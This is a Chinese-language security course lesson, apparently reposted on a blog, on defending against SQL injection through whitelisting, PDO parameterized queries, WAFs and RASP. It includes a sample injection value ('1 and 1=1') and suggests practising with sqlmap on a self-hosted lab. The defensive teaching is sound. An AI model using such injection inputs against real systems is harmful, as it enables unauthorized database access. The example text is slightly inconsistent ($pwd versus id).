RASP(Runtime Application Self-Protection)是一項運行時應用程序自我保護的安全技術,通過搜集和分析應用運行時的相關信息來檢測和阻止針對應用本身的攻擊。RASP 和 IAST 使用相同的 Agent 技術,不同之處在于 RASP 更偏向于攔截防御,而 IAST 更偏向于安全測試,若將 RASP 結合 DAST 共用的話,就可以達到 IAST 的效果了。
防御 SQL 注入
我們檢測到 SQL 注入漏洞,或者外部報告過來,那么又該如何修復漏洞,防止被 SQL 注入攻擊呢?通常防御 SQL 注入的方法有白名單、參數化查詢、WAF、RASP 等方法,下面我就簡單介紹一下。
白名單
如果請求參數有特定值的約束,比如參數是固定整數值,那么就只允許接收整數;還有就是常量值限制,比如特定的字符串、整數值等。這個時候,最好采用白名單的方式。我并不建議使用黑名單的方式,比如過濾單引號、SQL 關鍵詞,雖然有部分效果,但在某些場景下仍會被如整數型注入、二次注入、新增的 SQL 關鍵詞等方式繞過。
參數化查詢
參數化查詢是預編譯 SQL 語句的一種處理方式,所以也叫預編譯查詢,它可以將輸入數據插入到 SQL 語句中的“參數”(即變量)中,防止數據被當作 SQL 語句執行,從而防止 SQL 注入漏洞的產生。
比如在下列語句中,設置 $pwd 變量值為 1 and 1=1 時:
select password from users where id=1;一般情況下,SQL 語句都會經過 SQL 解析器編譯并執行,這意味著 and 語句也會被編譯執行,造成 SQL 注入。
開啟參數化查詢時,原 SQL 語言會先進行預編譯處理,為用戶輸入的每個參數預留占位符,將編譯結果緩存起來。當用戶輸入惡意構造的 and 語句時,不做編譯處理,按原語句模板將輸入值帶入到對應的占位符中,此處即 id 參數,也就是說 1 and 1=1 僅為參數值帶入,不作為 SQL 語句編譯,那么 and 語句就不會被執行,從而防止 SQL 注入。
不同的開發平臺和數據庫會有不同的參數化查詢方式,本講主要以 PHP+MySQL 環境為例,有 mysqli 和 PDO(PHP 數據對象)兩種擴展使用方式。這里推薦使用 PDO 擴展,因為它與關系數據庫類型無關,無論是使用 MySQL,還是 SQL Server、Oracle。
下面是使用 PDO 擴展實現參數化查詢的示例代碼,通過創建 PDO 對象,直接調用其方法 prepare 和 bindParam 就可以實現預編譯處理,將用戶輸入數據綁定到特定參數,避免輸入數據被當作 SQL 關鍵詞來解析。
$pdo?= new?PDO("mysql:host=localhost;dbname=database", "dbusername", "dbpassword"); $query?= "SELECT * FROM users WHERE (name = :username) and (password = :password)";$statement?= $pdo->prepare($query, array(PDO::ATTR_CURSOR => PDO::CURSOR_FWDONLY)); $statement->bindParam(":username", $username, PDO::PARAM_STR, 10); $statement->bindParam(":password", $password, PDO::PARAM_STR, 12); $statement->execute(); $statement->closeCursor(); $pdo?= null;在使用參數化查詢時應注意以下 3 點:
在每個數據庫查詢中都使用參數化查詢,避免被二次注入;
插入查詢中的每一個輸入參數都應進行參數化查詢,避免部分參數被注入;
參數名不能使用指定查詢中的表和字段名,避免被誤操作。
WAF
WAF(Web 防火墻)能夠抵擋住大部分的攻擊,幾乎是當前各網站必備的安全產品。但它也不是無懈可擊的,難免會被繞過。不過安全本身就是為了不斷提高攻擊成本而設立的,并不是為了完全、絕對地解決入侵問題。這也是很難實現的。
業界主流的 WAF 產品,可以參考 Garnet 的魔力象限。下面是 2019 年的?Web 應用防火墻魔力象限:
圖 7:Web 應用防火墻魔力象限
領導者產品是 Imperva 和 Akamai,但這兩款在國內的知名度并不高。國內的產品只有阿里云入榜了。其他國內常用產品有騰訊云、長亭雷池、華為云。結合云平臺服務能力直接部署 WAF 是最簡便的方式。基于此前個人的 WAF 測試,我心目中的國內 WAF 產品排名如下:
阿里云 WAF > 騰訊云 WAF > 華為云 WAF > 長亭雷池RASP
前面已經介紹過 RASP,以及它與 IAST 的區別。RASP 技術是當前安全防御技術領域的一大趨勢,很多國內廠商都在做,聯合 IAST 一塊,畢竟核心技術是共用的。
WAF 無法感知應用程序的上下文,也無法輸出漏洞攻擊鏈,對定位漏洞代碼的幫助也相當有限。RASP 不用考慮網絡請求中的各種復雜的數據處理過程,只需要在對應的漏洞觸發函數進行 Hook 插樁檢測等操作,同時 RASP 能夠給出漏洞觸發的程序上下文,幫助開發人員和安全人員快速定位漏洞代碼,并實現漏洞的檢測、告警和阻斷。
RASP 與 WAF 是互補的兩種技術實現,而非以新換舊。利用 RASP 對 WAF 進行有效的補充,可以構建更加完善的安全防御體系。
總結
關于 SQL 注入漏洞的相關知識,到這里就結束了,我們花了 3 講來學習 SQL 注入的技術以及如何檢測和防御 SQL 注入。這里我主要介紹了一些檢測與防御 SQL 注入的方法,供企業開發者參考。對于個人,你也可以通過購買 WAF 來防止自己的網站被入侵。
國內的各大云平臺上都已經集成 WAF 服務,可以一鍵部署使用,十分方便。如果你有自己的云服務器,可以建個 sqlilab 靶場,用 sqlmap 去利用漏洞,然后對比開啟 WAF 前后的變化,這可以幫你更好地理解 SQL 注入漏洞。
關于 SQL 注入漏洞的檢測與防御,你認為還有哪些其他方法呢?歡迎在留言區分享。
下一講,我將帶你了解 CSRF(跨站偽造請求)漏洞的相關原理,到時見~
總結
以上是生活随笔為你收集整理的网络安全课第三节 SQL 注入的检测与防御的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: WEB安全——文件上传
- 下一篇: 2.4G无线通信